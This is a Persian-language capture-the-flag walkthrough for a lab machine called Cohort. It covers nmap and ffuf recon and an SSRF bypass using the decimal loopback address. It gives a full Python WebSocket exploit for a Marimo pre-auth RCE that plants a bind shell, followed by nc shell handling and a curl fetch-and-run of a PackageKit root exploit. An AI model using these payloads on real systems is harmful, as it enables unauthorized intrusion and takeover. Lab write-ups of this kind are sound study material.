Recon

اول از همه طبق معمول آیپی هدف رو که بهمون دادن پینگ میگیریم تا ببینیم اصلا در دسترس هست یا نه.

ازین به بعد به جای آیپی من مقدار $ip میزارم برای راحتی تایپ.

ping $ip

این سری نمیدونم چرا ولی با اتصال اول اصلا نتونستم پینگ بگیرم با اینکه به کانفیگ openvpn مسابقه وصل بودم.

با عوض کردن arena و اتصال دوباره مشکل حل شد.

اگر شما هم به این مشکل خوردید، صرفا مکان / حوزه openvpn رو عوض کنید.

nmap

یک اسکن خیلی سریع nmap انجام میدیم.

nmap -p- --min-rate 10000 -n -Pn -oA nmap/cohort_tcp.htb $ip

ازین اسکن اولیه متوجه میشیم یه وب سرور ساده است از بیرون و فقط ssh, http/s باز هستن.

همچنین آدرس resolve شده روی http/s این هست، طبق همیشه همون اسم ماشین:

https://cohort.htb

خیلی سریع به /etc/hosts این رو اضافه کنید و ادامه کار.

echo "$ip cohort.htb" | tee -a /etc/hosts

بعضا اگر نیاز بود اسکن های عمیق تر tcp یا udp انجام بدید ولی نیاز نمیشه روی ماشین های ساده.

# tcp scan
nmap -sC -sV -A -p53,443,2222,2121,80,8080,3000,5000,9000,8000 -oA nmap/cohort_tcp $ip
# UDP scan
nmap -sU --min-rate 10000 -n -Pn -oA nmap/cohort_udp.htb $ip

Fuzzing

با گشتن توی سایت فقط یه پیج لینک شده که یک فرم برای ارسال کردن یک سری فایل csv,… غیره هست که مثلا قراره پردازش کنه و نتیجه رو برگردونه.

ازونجایی که با پردازش مستقیم لینک کار میکنه اولین آسیب پذیری که به ذهن میرسه SSRF هست!

cohort-submit

در حین انجام کار های دیگه میتونیم بزاریم fuff برامون روی زیر دامنه ها و مسیر های سایت فازینگ بزنه و هر چی هست پیدا کنه تا یه ایده کلی بهمون بده کدوم جهت باید بریم

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://cohort.htb/FUZZ -ac

فلگ ac مهمه چون خیلی از نتایج با ریسپانس 200 لزوما واقعی نیستن و بدرد ما نمیخورنو با این فلگ فیلتر انجام بدید.

برای این ماشین هیچ زیردامنه یا vhost وجود نداشت اما نتیجه اسکن بالا برای مسیر ها سه تا مسیر زیر رو برگردوند:

  • /status
  • /assets
  • /api

که البته اگر با Burp دنبال میکردید درخواست فرم رو مسیر /api رو مشاهده می کردید. اما دو مسیر دیگه داخلی هستند و از بیرون 403 میدن.

SSRF

روش های ساده SSRF مثل وارد کردن file:// یا http://127.0.0.1 جوابگو نبود و ارور واضح برای هر مورد برگردوند.

ازونجایی که اصرار بر http/s داره، ما حدس میزنیم که این مقادیر بلک لیست شدن و با ترفندی مثل معادل دسیمال همون آدرس loopback رو وارد میکنیم:

https://2130706433

این آدرس با موفقیت سورس صفحه اصلی رو برمیگردونه!

که نشون میده کار کرده. حالا آدرس /status رو میزنیم:

https://2130706433/status

نتیجه همونطور که مشاهده می کنید لیستی از وب سرویس هاست و جزییات شون توی شبکه

cohort-ssrt-result

ازنجا متوجه میشیم یه آدرس هست به نام nb-1be...cohort.htb. این رو هم اضافه میکنیم به /etc/hosts و محتواش رو بررسی میکنیم

Marimo <= 0.20.4 - Pre-Auth Terminal WebSocket RCE

مشخص شد که توی آدرس nb-1be...cohort.htb یه سرویس هست به نام Marimo. این یه CVE برای ورژن های کمتر از 0.20.4 داره که میتونیم بهره برداری کنیم.

کد POC این آسیب پذیری زیر آورده شده:

import websocket
import ssl
import time

url = "wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws"
sslopt = {"cert_reqs": ssl.CERT_NONE, "check_hostname": False}
ws = websocket.WebSocket(sslopt=sslopt)
ws.connect(url)
print("[+] Connected!")
payload = (
    "nohup python3 -c "
    "\"import socket,subprocess,os;"
    "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
    "s.bind(('0.0.0.0',4444));s.listen(1);conn,addr=s.accept();"
    "os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);"
    "subprocess.call(['/bin/sh','-i'])\" "
    "> /dev/null 2>&1 &"
)

ws.send(payload + "\n")
print("[+] Bind shell payload sent. Waiting 3 seconds...")
time.sleep(3)
ws.close()
print("[+] Done. Now connect to the target's port 4444.")

قبل از اجرا، nc رو روی پورت ست شده برای شنود میزاریم:

nc 10.129.51.134 4444
script /dev/null -qc /bin/bash
# CTRL+Z
stty raw -echo; fg
export TERM=xterm
id
# uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)

و بدین صورت RCE گرفتیم! تا اینجا فلگ یوزر بدست اومد.

Privilate escalation: CVE-2026-41651 (Pack2TheRoot)

برای ارتقا سطح دسترسی به روت: آسیب پذیری برای PackageKit هست که خیلی سرراست میتونیم از کد آماده استفاده کنیم توی reverse shell که گرفتیم و دسترسی بگیریم:

لینک گیت هاب POC

صرفا کافیه این رو دانلود کنیم، با python -m http.server سرو کنیمش و از توی reverse shell با curl دانلود کنیم

curl http://$ip:8000/exploit.py -o exploit.py

و به عنوان یوزر marimo این رو اجرا میکنیم تا دسترسی روت بگیریم.

تمام.